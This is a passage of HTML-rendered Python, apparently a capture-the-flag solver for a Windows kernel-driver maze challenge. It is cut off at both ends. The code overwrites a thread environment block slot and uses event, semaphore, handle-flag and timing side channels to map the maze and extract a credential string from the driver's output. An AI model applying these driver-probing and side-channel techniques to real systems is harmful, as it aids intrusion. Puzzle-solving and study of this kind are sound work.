class="code-snippet__keyword">in</span> (<span class="code-snippet__string">&#34;slot4_probe&#34;</span>, <span class="code-snippet__string">&#34;sem_wall&#34;</span>, <span class="code-snippet__string">&#34;sem_ok&#34;</span>, <span class="code-snippet__string">&#34;event_wall&#34;</span>, <span class="code-snippet__string">&#34;event_ok&#34;</span>, <span class="code-snippet__string">&#34;handle&#34;</span>):</span><span leaf=""><br/></span><span leaf="">            handle = <span class="code-snippet__built_in">getattr</span>(self, attr)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> handle:</span><span leaf=""><br/></span><span leaf="">                kernel32.CloseHandle(handle)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">setattr</span>(self, attr, <span class="code-snippet__literal">None</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_ensure_event</span>(<span class="code-snippet__params">self, name</span>):</span><span leaf=""><br/></span><span leaf="">        candidates = [name]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> name.startswith(<span class="code-snippet__string">&#34;Global\&#34;</span>):</span><span leaf=""><br/></span><span leaf="">            candidates.append(name.split(<span class="code-snippet__string">&#34;\&#34;</span>, <span class="code-snippet__number">1</span>)[<span class="code-snippet__number">1</span>])</span><span leaf=""><br/></span><span leaf="">        last_exc = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> candidate <span class="code-snippet__keyword">in</span> candidates:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">try</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> check_handle(kernel32.CreateEventW(<span class="code-snippet__literal">None</span>, <span class="code-snippet__literal">True</span>, <span class="code-snippet__literal">False</span>, candidate), <span class="code-snippet__string">f&#34;CreateEventW(</span></span><span leaf=""><span class="code-snippet__string">{candidate}</span></span><span leaf=""><span class="code-snippet__string">)&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">except</span> WinError <span class="code-snippet__keyword">as</span> exc:</span><span leaf=""><br/></span><span leaf="">                last_exc = exc</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">raise</span> last_exc <span class="code-snippet__keyword">or</span> WinError(<span class="code-snippet__string">f&#34;CreateEventW(</span></span><span leaf=""><span class="code-snippet__string">{name}</span></span><span leaf=""><span class="code-snippet__string">) failed&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_ensure_semaphore</span>(<span class="code-snippet__params">self, guid</span>):</span><span leaf=""><br/></span><span leaf="">        candidates = (<span class="code-snippet__string">rf&#34;Global\{guid}&#34;</span>, guid)</span><span leaf=""><br/></span><span leaf="">        last_exc = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> candidate <span class="code-snippet__keyword">in</span> candidates:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">try</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> check_handle(</span><span leaf=""><br/></span><span leaf="">                    kernel32.CreateSemaphoreW(<span class="code-snippet__literal">None</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0x7FFFFFFF</span>, candidate),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">f&#34;CreateSemaphoreW(</span></span><span leaf=""><span class="code-snippet__string">{candidate}</span></span><span leaf=""><span class="code-snippet__string">)&#34;</span>,</span><span leaf=""><br/></span><span leaf="">                )</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">except</span> WinError <span class="code-snippet__keyword">as</span> exc:</span><span leaf=""><br/></span><span leaf="">                last_exc = exc</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">raise</span> last_exc <span class="code-snippet__keyword">or</span> WinError(<span class="code-snippet__string">f&#34;CreateSemaphoreW(</span></span><span leaf=""><span class="code-snippet__string">{guid}</span></span><span leaf=""><span class="code-snippet__string">) failed&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_install_slot4_probe</span>(<span class="code-snippet__params">self</span>):</span><span leaf=""><br/></span><span leaf="">        teb = current_teb_base()</span><span leaf=""><br/></span><span leaf="">        self.slot4_probe = check_handle(kernel32.CreateEventW(<span class="code-snippet__literal">None</span>, <span class="code-snippet__literal">True</span>, <span class="code-snippet__literal">False</span>, <span class="code-snippet__literal">None</span>), <span class="code-snippet__string">&#34;CreateEventW(slot4_probe)&#34;</span>)</span><span leaf=""><br/></span><span leaf="">        self._teb_1748_slot = ctypes.c_uint64.from_address(teb + <span class="code-snippet__number">0x1748</span>)</span><span leaf=""><br/></span><span leaf="">        self._teb_1748_old = self._teb_1748_slot.value</span><span leaf=""><br/></span><span leaf="">        self._teb_1748_slot.value = <span class="code-snippet__built_in">int</span>(self.slot4_probe)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_ioctl</span>(<span class="code-snippet__params">self, code, in_bytes=</span><span class="code-snippet__params"><span class="code-snippet__string">b&#34;&#34;</span></span><span class="code-snippet__params">, out_size=</span><span class="code-snippet__params"><span class="code-snippet__number">0</span></span>):</span><span leaf=""><br/></span><span leaf="">        in_buf = ctypes.create_string_buffer(in_bytes, <span class="code-snippet__built_in">len</span>(in_bytes)) <span class="code-snippet__keyword">if</span> in_bytes <span class="code-snippet__keyword">else</span> <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">        out_buf = ctypes.create_string_buffer(out_size) <span class="code-snippet__keyword">if</span> out_size <span class="code-snippet__keyword">else</span> <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">        returned = wintypes.DWORD()</span><span leaf=""><br/></span><span leaf="">        kernel32.SetLastError(<span class="code-snippet__number">0</span>)</span><span leaf=""><br/></span><span leaf="">        ok = kernel32.DeviceIoControl(</span><span leaf=""><br/></span><span leaf="">            self.handle,</span><span leaf=""><br/></span><span leaf="">            code,</span><span leaf=""><br/></span><span leaf="">            in_buf,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">len</span>(in_bytes),</span><span leaf=""><br/></span><span leaf="">            out_buf,</span><span leaf=""><br/></span><span leaf="">            out_size,</span><span leaf=""><br/></span><span leaf="">            ctypes.byref(returned),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__literal">None</span>,</span><span leaf=""><br/></span><span leaf="">        )</span><span leaf=""><br/></span><span leaf="">        last_error = ctypes.get_last_error() &amp; <span class="code-snippet__number">0xFFFFFFFF</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> <span class="code-snippet__keyword">not</span> ok:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">raise</span> WinError(<span class="code-snippet__string">f&#34;DeviceIoControl(0x</span></span><span leaf=""><span class="code-snippet__string">{code:08X}</span></span><span leaf=""><span class="code-snippet__string">) failed, last_error=0x</span></span><span leaf=""><span class="code-snippet__string">{last_error:08X}</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>)</span><span leaf=""><br/></span><span leaf="">        data = out_buf.raw[: returned.value] <span class="code-snippet__keyword">if</span> out_buf <span class="code-snippet__keyword">else</span> <span class="code-snippet__string">b&#34;&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> data, last_error</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">query_maze</span>(<span class="code-snippet__params">self</span>):</span><span leaf=""><br/></span><span leaf="">        data, _ = self._ioctl(IOCTL_QUERY, <span class="code-snippet__string">b&#34;&#34;</span>, <span class="code-snippet__number">0x18</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> struct.unpack(<span class="code-snippet__string">&#34;&lt;6I&#34;</span>, data[:<span class="code-snippet__number">0x18</span>])</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">reset</span>(<span class="code-snippet__params">self</span>):</span><span leaf=""><br/></span><span leaf="">        self._clear_sync_objects()</span><span leaf=""><br/></span><span leaf="">        self._ioctl(IOCTL_RESET)</span><span leaf=""><br/></span><span leaf="">        self.op_count = <span class="code-snippet__number">0</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">move</span>(<span class="code-snippet__params">self, ch</span>):</span><span leaf=""><br/></span><span leaf="">        self._clear_sync_objects()</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> self.slot4_probe:</span><span leaf=""><br/></span><span leaf="">            kernel32.SetHandleInformation(self.slot4_probe, HANDLE_FLAG_PROTECT_FROM_CLOSE, <span class="code-snippet__number">0</span>)</span><span leaf=""><br/></span><span leaf="">        move_code = MOVE_CODE[ch]</span><span leaf=""><br/></span><span leaf="">        encoded = encode_move_code(move_code)</span><span leaf=""><br/></span><span leaf="">        packet = struct.pack(<span class="code-snippet__string">&#34;&lt;B3xII&#34;</span>, encoded, self.op_count, encoded ^ self.op_count ^ <span class="code-snippet__number">0xDEAD1337</span>)</span><span leaf=""><br/></span><span leaf="">        t0 = time.perf_counter()</span><span leaf=""><br/></span><span leaf="">        data, last_error = self._ioctl(IOCTL_MOVE, packet, <span class="code-snippet__number">0x84</span>)</span><span leaf=""><br/></span><span leaf="">        time_ms = (time.perf_counter() - t0) * <span class="code-snippet__number">1000.0</span></span><span leaf=""><br/></span><span leaf="">        signals = self._collect_signals()</span><span leaf=""><br/></span><span leaf="">        outcome = self._classify_outcome(last_error, signals)</span><span leaf=""><br/></span><span leaf="">        predicted = slot5_predicted_delay_ms(data)</span><span leaf=""><br/></span><span leaf="">        self.op_count += <span class="code-snippet__number">1</span></span><span leaf=""><br/></span><span leaf="">        credential = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> <span class="code-snippet__built_in">len</span>(data) &gt;= <span class="code-snippet__number">0x84</span> <span class="code-snippet__keyword">and</span> struct.unpack_from(<span class="code-snippet__string">&#34;&lt;I&#34;</span>, data, <span class="code-snippet__number">0x3C</span>)[<span class="code-snippet__number">0</span>] == WIN_MAGIC:</span><span leaf=""><br/></span><span leaf="">            length = struct.unpack_from(<span class="code-snippet__string">&#34;&lt;I&#34;</span>, data, <span class="code-snippet__number">0x80</span>)[<span class="code-snippet__number">0</span>]</span><span leaf=""><br/></span><span leaf="">            credential = data[<span class="code-snippet__number">0x40</span> : <span class="code-snippet__number">0x40</span> + <span class="code-snippet__built_in">min</span>(length, <span class="code-snippet__number">0x3F</span>)].split(<span class="code-snippet__string">b&#34;\x00&#34;</span>, <span class="code-snippet__number">1</span>)[<span class="code-snippet__number">0</span>].decode(<span class="code-snippet__string">&#34;ascii&#34;</span>, errors=<span class="code-snippet__string">&#34;replace&#34;</span>)</span><span leaf=""><br/></span><span leaf="">        result = {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;char&#34;</span>: ch,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;move_code&#34;</span>: move_code,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;encoded&#34;</span>: encoded,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;outcome&#34;</span>: outcome,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;last_error&#34;</span>: last_error,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;signals&#34;</span>: signals,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;time_ms&#34;</span>: time_ms,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;slot5_predicted_ms&#34;</span>: predicted,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;slot5_hit&#34;</span>: <span class="code-snippet__literal">False</span>,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;raw&#34;</span>: data,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;credential&#34;</span>: credential,</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        result[<span class="code-snippet__string">&#34;slot5_hit&#34;</span>] = slot5_timing_hit(result)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> result</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_clear_sync_objects</span>(<span class="code-snippet__params">self</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> self.event_ok:</span><span leaf=""><br/></span><span leaf="">            kernel32.ResetEvent(self.event_ok)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> self.event_wall:</span><span leaf=""><br/></span><span leaf="">            kernel32.ResetEvent(self.event_wall)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> sem <span class="code-snippet__keyword">in</span> (self.sem_ok, self.sem_wall):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> sem:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">while</span> kernel32.WaitForSingleObject(sem, <span class="code-snippet__number">0</span>) == WAIT_OBJECT_0:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">pass</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_collect_signals</span>(<span class="code-snippet__params">self</span>):</span><span leaf=""><br/></span><span leaf="">        handle_ok = <span class="code-snippet__literal">False</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> self.slot4_probe:</span><span leaf=""><br/></span><span leaf="">            flags = wintypes.DWORD()</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> kernel32.GetHandleInformation(self.slot4_probe, ctypes.byref(flags)):</span><span leaf=""><br/></span><span leaf="">                handle_ok = <span class="code-snippet__built_in">bool</span>(flags.value &amp; HANDLE_FLAG_PROTECT_FROM_CLOSE)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;event_ok&#34;</span>: self._poll_event(self.event_ok),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;event_wall&#34;</span>: self._poll_event(self.event_wall),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;sem_ok&#34;</span>: self._poll_semaphore(self.sem_ok),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;sem_wall&#34;</span>: self._poll_semaphore(self.sem_wall),</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;handle_ok&#34;</span>: handle_ok,</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_classify_outcome</span>(<span class="code-snippet__params">self, last_error, signals</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> last_error == LEAK_EXIT:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;exit&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> last_error == LEAK_OK <span class="code-snippet__keyword">or</span> signals[<span class="code-snippet__string">&#34;event_ok&#34;</span>] <span class="code-snippet__keyword">or</span> signals[<span class="code-snippet__string">&#34;sem_ok&#34;</span>] <span class="code-snippet__keyword">or</span> signals[<span class="code-snippet__string">&#34;handle_ok&#34;</span>]:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;ok&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> last_error == LEAK_WALL <span class="code-snippet__keyword">or</span> signals[<span class="code-snippet__string">&#34;event_wall&#34;</span>] <span class="code-snippet__keyword">or</span> signals[<span class="code-snippet__string">&#34;sem_wall&#34;</span>]:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;wall&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> last_error == LEAK_POISON:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;poison&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;unknown&#34;</span></span><span leaf=""><br/></span><span leaf="">    @staticmethod</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_poll_event</span>(<span class="code-snippet__params">handle</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> <span class="code-snippet__keyword">not</span> handle:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">False</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> kernel32.WaitForSingleObject(handle, <span class="code-snippet__number">0</span>) == WAIT_OBJECT_0</span><span leaf=""><br/></span><span leaf="">    @staticmethod</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_poll_semaphore</span>(<span class="code-snippet__params">handle</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> <span class="code-snippet__keyword">not</span> handle:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">False</span></span><span leaf=""><br/></span><span leaf="">        rc = kernel32.WaitForSingleObject(handle, <span class="code-snippet__number">0</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> rc == WAIT_OBJECT_0</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">shortest_path</span>(<span class="code-snippet__params">open_edges, start, goal</span>):</span><span leaf=""><br/></span><span leaf="">    queue = collections.deque([start])</span><span leaf=""><br/></span><span leaf="">    prev = {start: (<span class="code-snippet__literal">None</span>, <span class="code-snippet__literal">None</span>)}</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">while</span> queue:</span><span leaf=""><br/></span><span leaf="">        cur = queue.popleft()</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> cur == goal:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">break</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> move, nxt <span class="code-snippet__keyword">in</span> open_edges.get(cur, {}).items():</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> nxt <span class="code-snippet__keyword">not</span> <span class="code-snippet__keyword">in</span> prev:</span><span leaf=""><br/></span><span leaf="">                prev[nxt] = (cur, move)</span><span leaf=""><br/></span><span leaf="">                queue.append(nxt)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> goal <span class="code-snippet__keyword">not</span> <span class="code-snippet__keyword">in</span> prev:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">    path = []</span><span leaf=""><br/></span><span leaf="">    cur = goal</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">while</span> prev[cur][<span class="code-snippet__number">0</span>] <span class="code-snippet__keyword">is</span> <span class="code-snippet__keyword">not</span> <span class="code-snippet__literal">None</span>:</span><span leaf=""><br/></span><span leaf="">        cur, move = prev[cur]</span><span leaf=""><br/></span><span leaf="">        path.append(move)</span><span leaf=""><br/></span><span leaf="">    path.reverse()</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;&#34;</span>.join(path)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">is_explicit_success</span>(<span class="code-snippet__params">result</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> result[<span class="code-snippet__string">&#34;outcome&#34;</span>] <span class="code-snippet__keyword">in</span> (<span class="code-snippet__string">&#34;ok&#34;</span>, <span class="code-snippet__string">&#34;exit&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">is_explicit_wall</span>(<span class="code-snippet__params">result</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> result[<span class="code-snippet__string">&#34;outcome&#34;</span>] <span class="code-snippet__keyword">in</span> (<span class="code-snippet__string">&#34;wall&#34;</span>, <span class="code-snippet__string">&#34;poison&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">replay_path</span>(<span class="code-snippet__params">gate, path</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> move <span class="code-snippet__keyword">in</span> path:</span><span leaf=""><br/></span><span leaf="">        result = gate.move(move)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> result[<span class="code-snippet__string">&#34;outcome&#34;</span>] <span class="code-snippet__keyword">in</span> (<span class="code-snippet__string">&#34;wall&#34;</span>, <span class="code-snippet__string">&#34;poison&#34;</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">raise</span> WinError(<span class="code-snippet__string">f&#34;replay failed at move </span></span><span leaf=""><span class="code-snippet__string">{move}</span></span><span leaf=""><span class="code-snippet__string">: </span></span><span leaf=""><span class="code-snippet__string">{result}</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">probe_move</span>(<span class="code-snippet__params">gate, route, move, cycle, attempts=</span><span class="code-snippet__params"><span class="code-snippet__number">8</span></span>):</span><span leaf=""><br/></span><span leaf="">    result = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> shift <span class="code-snippet__keyword">in</span> <span class="code-snippet__built_in">range</span>(attempts):</span><span leaf=""><br/></span><span leaf="">        gate.reset()</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">try</span>:</span><span leaf=""><br/></span><span leaf="">            replay_path(gate, route)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">except</span> WinError:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">continue</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> cycle:</span><span leaf=""><br/></span><span leaf="">            out_move, back_move = cycle</span><span leaf=""><br/></span><span leaf="">            blocked = <span class="code-snippet__literal">False</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> _ <span class="code-snippet__keyword">in</span> <span class="code-snippet__built_in">range</span>(shift):</span><span leaf=""><br/></span><span leaf="">                out_res = gate.move(out_move)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> is_explicit_wall(out_res):</span><span leaf=""><br/></span><span leaf="">                    blocked = <span class="code-snippet__literal">True</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">break</span></span><span leaf=""><br/></span><span leaf="">                back_res = gate.move(back_move)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> is_explicit_wall(back_res):</span><span leaf=""><br/></span><span leaf="">                    blocked = <span class="code-snippet__literal">True</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">break</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> blocked:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">continue</span></span><span leaf=""><br/></span><span leaf="">        result = gate.move(move)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> result[<span class="code-snippet__string">&#34;slot5_hit&#34;</span>]:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">continue</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> is_explicit_success(result):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">True</span>, result</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> is_explicit_wall(result):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">False</span>, result</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">None</span>, result</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">solve_via_iterative_exploration</span>(<span class="code-snippet__params">gate, width, height, start, goal, max_rounds=</span><span class="code-snippet__params"><span class="code-snippet__number">180</span></span>):</span><span leaf=""><br/></span><span leaf="">    discovered = {start}</span><span leaf=""><br/></span><span leaf="">    open_edges = collections.defaultdict(<span class="code-snippet__built_in">dict</span>)</span><span leaf=""><br/></span><span leaf="">    walls = <span class="code-snippet__built_in">set</span>()</span><span leaf=""><br/></span><span leaf="">    pending = collections.deque([start])</span><span leaf=""><br/></span><span leaf="">    credential = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf="">    rounds = <span class="code-snippet__number">0</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">while</span> rounds &lt; max_rounds <span class="code-snippet__keyword">and</span> pending:</span><span leaf=""><br/></span><span leaf="">        rounds += <span class="code-snippet__number">1</span></span><span leaf=""><br/></span><span leaf="">        progress = <span class="code-snippet__literal">False</span></span><span leaf=""><br/></span><span leaf="">        queue = collections.deque(<span class="code-snippet__built_in">list</span>(<span class="code-snippet__built_in">dict</span>.fromkeys(pending)))</span><span leaf=""><br/></span><span leaf="">        pending.clear()</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">while</span> queue:</span><span leaf=""><br/></span><span leaf="">            cell = queue.popleft()</span><span leaf=""><br/></span><span leaf="">            route = shortest_path(open_edges, start, cell) <span class="code-snippet__keyword">or</span> <span class="code-snippet__string">&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">            cycle = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> route:</span><span leaf=""><br/></span><span leaf="">                cycle = (INVERSE[route[-<span class="code-snippet__number">1</span>]], route[-<span class="code-snippet__number">1</span>])</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">elif</span> <span class="code-snippet__string">&#34;D&#34;</span> <span class="code-snippet__keyword">in</span> open_edges[start]:</span><span leaf=""><br/></span><span leaf="">                cycle = (<span class="code-snippet__string">&#34;D&#34;</span>, <span class="code-snippet__string">&#34;A&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> move, delta <span class="code-snippet__keyword">in</span> DIRS.items():</span><span leaf=""><br/></span><span leaf="">                nx = cell[<span class="code-snippet__number">0</span>] + delta[<span class="code-snippet__number">0</span>]</span><span leaf=""><br/></span><span leaf="">                ny = cell[<span class="code-snippet__number">1</span>] + delta[<span class="code-snippet__number">1</span>]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> <span class="code-snippet__keyword">not</span> (<span class="code-snippet__number">0</span> &lt;= nx &lt; width <span class="code-snippet__keyword">and</span> <span class="code-snippet__number">0</span> &lt;= ny &lt; height):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">continue</span></span><span leaf=""><br/></span><span leaf="">                nxt = (nx, ny)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> move <span class="code-snippet__keyword">in</span> open_edges[cell] <span class="code-snippet__keyword">or</span> (cell, nxt) <span class="code-snippet__keyword">in</span> walls:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">continue</span></span><span leaf=""><br/></span><span leaf="">                decision, result = probe_move(gate, route, move, cycle, attempts=<span class="code-snippet__number">8</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> result <span class="code-snippet__keyword">and</span> result[<span class="code-snippet__string">&#34;credential&#34;</span>]:</span><span leaf=""><br/></span><span leaf="">                    credential = result[<span class="code-snippet__string">&#34;credential&#34;</span>]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> decision <span class="code-snippet__keyword">is</span> <span class="code-snippet__literal">True</span>:</span><span leaf=""><br/></span><span leaf="">                    progress = <span class="code-snippet__literal">True</span></span><span leaf=""><br/></span><span leaf="">                    open_edges[cell][move] = nxt</span><span leaf=""><br/></span><span leaf="">                    open_edges[nxt][INVERSE[move]] = cell</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> nxt <span class="code-snippet__keyword">not</span> <span class="code-snippet__keyword">in</span> discovered:</span><span leaf=""><br/></span><span leaf="">                        discovered.add(nxt)</span><span leaf=""><br/></span><span leaf="">                        pending.append(nxt)</span><span leaf=""><br/></span><span leaf="">                    pending.append(cell)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">elif</span> decision <span class="code-snippet__keyword">is</span> <span class="code-snippet__literal">False</span>:</span><span leaf=""><br/></span><span leaf="">                    progress = <span class="code-snippet__literal">True</span></span><span leaf=""><br/></span><span leaf="">                    walls.add((cell, nxt))</span><span leaf=""><br/></span><span leaf="">                    walls.add((nxt, cell))</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">else</span>:</span><span leaf=""><br/></span><span leaf="">                    pending.append(cell)</span><span leaf=""><br/></span><span leaf="">        path = shortest_path(open_edges, start, goal)</span><span 